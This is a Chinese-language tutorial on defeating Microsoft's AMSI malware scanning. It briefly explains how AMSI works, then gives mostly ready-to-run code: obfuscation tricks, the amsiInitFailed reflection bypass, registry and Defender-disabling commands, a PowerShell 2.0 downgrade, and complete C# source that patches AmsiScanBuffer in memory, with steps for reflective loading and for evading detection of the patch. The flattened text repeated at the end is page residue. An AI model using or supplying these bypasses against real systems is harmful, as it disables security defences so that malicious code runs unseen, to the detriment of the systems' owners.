Bypass AMSI
字数 1167 2025-08-23 18:31:34

AMSI绕过技术详解

AMSI工作原理

AMSI (Antimalware Scan Interface) 是微软提供的一种反恶意软件扫描接口,其核心工作原理如下:

  1. 加载机制:当创建PowerShell进程时,AMSI.DLL会从磁盘加载到内存地址空间

  2. 关键函数

    • AmsiScanBuffer():扫描脚本内容的函数
    • AmsiScanString():扫描字符串的函数
  3. 检测流程

    • PowerShell执行命令时,内容首先发送到AmsiScanBuffer()
    • 该函数将内容发送给Windows Defender检查
    • 如果内容被判定为恶意,则会被阻止执行
  4. 集成组件

    • 用户帐户控制(UAC)
    • PowerShell(脚本、交互使用和动态代码评估)
    • Windows脚本宿主(wscript.exe和cscript.exe)
    • JavaScript和VBScript
    • Office VBA宏(VBE7.dll)
    • .NET Assembly(clr.dd)
    • WMI

常见绕过技术

1. 字符串检测绕过

字符串拼接

# 直接输入会被检测
amsiutils

# 使用字符串拼接绕过
$a = 'amsi'; $b = 'utils'; $a + $b

字符串编码

Base64编码

$base64EncodedString = "YW1zaXV0aWxz"
$decodedBytes = [System.Convert]::FromBase64String($base64EncodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
Write-Output $decodedString

XOR编码

$key = 0x11
$encodedString = "p|bxdex}b"
$encodedBytes = [System.Text.Encoding]::UTF8.GetBytes($encodedString)
$decodedBytes = foreach ($byte in $encodedBytes) { $byte -bxor $key }
$decodedString = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
Write-Output $decodedString

2. 反射绕过实例

原始被检测代码:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

改进后的绕过方法:

$a = 'System.Management.Automation.A'
$b = 'ms'
$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

3. 禁用AMSI方法

修改注册表

# 需要管理员权限
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0

关闭Windows Defender

# 需要管理员权限
Set-MpPreference -DisableRealtimeMonitoring $true

降低PowerShell版本

# 检查PowerShell版本
$PSVersionTable

# 检查是否支持PowerShell 2.0
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}' } | Select -ExpandProperty Version

# 使用PowerShell 2.0
powershell.exe -version 2

4. Memory Patching技术

AMSI检测API调用顺序

  1. AmsiInitialize - 初始化AMSI API
  2. AmsiOpenSession - 打开session
  3. AmsiScanBuffer - 扫描用户输入
  4. AmsiCloseSession - 关闭session
  5. AmsiUninitialize - 删除AMSI API

内存补丁实现(C#)

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
        
        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }
            
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }
            
            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }
            
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
            Marshal.Copy(Patch, 0, unmanagedPointer, 6);
            MoveMemory(AmsiScanBufferPtr, unmanagedPointer, 6);
            
            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

编译和使用

  1. 编译为DLL:
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"
  1. 反射加载DLL:
[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$pwd\By-AMSI.dll"))
[By.AM]::Disable()
  1. 或者使用Base64编码的DLL:
function Bypass-AMSI{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([byte[]]@(85,48,139,76...)) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable();
}

检测与规避技巧

  1. 使用AMSITrigger工具

    • 可用于定位被查杀的内容
    • GitHub项目:https://github.com/RythmStick/AMSITrigger
  2. 规避内存检查

    • 修改补丁位置(如addr = addr + 3
    • 使用不同的返回码(如0x80070057表示参数无效)
  3. 字符串混淆

    • 将敏感字符串拆分为多个部分
    • 使用格式化字符串拼接('{0}{1}i{2}' -f $a,$b,$c

总结

AMSI绕过技术主要包括:

  1. 字符串混淆和编码技术
  2. 反射调用和类型操作
  3. 系统配置修改(需权限)
  4. 内存补丁技术
  5. PowerShell版本降级

在实际应用中,通常需要结合多种技术才能有效绕过AMSI检测,同时需要注意规避内存检查和字符串检测。随着AMSI的不断更新,这些技术可能需要相应调整以保持有效性。

AMSI绕过技术详解 AMSI工作原理 AMSI (Antimalware Scan Interface) 是微软提供的一种反恶意软件扫描接口,其核心工作原理如下: 加载机制 :当创建PowerShell进程时,AMSI.DLL会从磁盘加载到内存地址空间 关键函数 : AmsiScanBuffer() :扫描脚本内容的函数 AmsiScanString() :扫描字符串的函数 检测流程 : PowerShell执行命令时,内容首先发送到 AmsiScanBuffer() 该函数将内容发送给Windows Defender检查 如果内容被判定为恶意,则会被阻止执行 集成组件 : 用户帐户控制(UAC) PowerShell(脚本、交互使用和动态代码评估) Windows脚本宿主(wscript.exe和cscript.exe) JavaScript和VBScript Office VBA宏(VBE7.dll) .NET Assembly(clr.dd) WMI 常见绕过技术 1. 字符串检测绕过 字符串拼接 字符串编码 Base64编码 : XOR编码 : 2. 反射绕过实例 原始被检测代码: 改进后的绕过方法: 3. 禁用AMSI方法 修改注册表 关闭Windows Defender 降低PowerShell版本 4. Memory Patching技术 AMSI检测API调用顺序 AmsiInitialize - 初始化AMSI API AmsiOpenSession - 打开session AmsiScanBuffer - 扫描用户输入 AmsiCloseSession - 关闭session AmsiUninitialize - 删除AMSI API 内存补丁实现(C#) 编译和使用 编译为DLL: 反射加载DLL: 或者使用Base64编码的DLL: 检测与规避技巧 使用AMSITrigger工具 : 可用于定位被查杀的内容 GitHub项目:https://github.com/RythmStick/AMSITrigger 规避内存检查 : 修改补丁位置(如 addr = addr + 3 ) 使用不同的返回码(如 0x80070057 表示参数无效) 字符串混淆 : 将敏感字符串拆分为多个部分 使用格式化字符串拼接( '{0}{1}i{2}' -f $a,$b,$c ) 总结 AMSI绕过技术主要包括: 字符串混淆和编码技术 反射调用和类型操作 系统配置修改(需权限) 内存补丁技术 PowerShell版本降级 在实际应用中,通常需要结合多种技术才能有效绕过AMSI检测,同时需要注意规避内存检查和字符串检测。随着AMSI的不断更新,这些技术可能需要相应调整以保持有效性。